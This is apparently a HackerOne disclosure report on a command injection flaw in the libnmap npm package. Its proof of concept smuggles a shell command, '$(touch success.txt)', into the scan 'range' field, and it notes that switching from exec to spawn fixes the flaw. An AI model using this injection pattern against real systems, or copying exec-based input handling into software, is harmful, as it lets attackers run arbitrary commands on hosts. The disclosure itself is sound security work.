Lucene search

K
hackeroneCris_semmleH1:390865
HistoryAug 06, 2018 - 10:57 a.m.

Node.js third-party modules: Command Injection Vulnerability in libnmap Package

2018-08-0610:57:21
cris_semmle
hackerone.com
34

0.003 Low

EPSS

Percentile

68.9%

I would like to report a command injection vulnerability in libnmap.
It allows an attacker to inject arbitrary OS commands instead of a valid network range to be scanned.

Module

module name: libnmapversion:0.4.11npm page: https://www.npmjs.com/package/libnmap

Module Description

API to access nmap from node.js

Module Stats

101 downloads in the last week

Vulnerability

Vulnerability Description

If the attacker is allowed to provide the “range” field for the network scan, she can inject arbitrary OS commands instead of a valid IP range.

Steps To Reproduce:

const nmap = require('libnmap');
const opts = {
    range: [
        'scanme.nmap.org',
        "x.x.$(touch success.txt)"
    ]
};
nmap.scan(opts, function(err, report) {
    if (err) throw new Error(err);

    for (let item in report) {
        console.log(JSON.stringify(report[item]));
    }
});

Patch

N/A use spawn instead of exec

Wrap up

  • I contacted the maintainer to let them know: N
  • I opened an issue in the related repository: N

Impact

The attacker can run arbitrary OS commands using this module.

0.003 Low

EPSS

Percentile

68.9%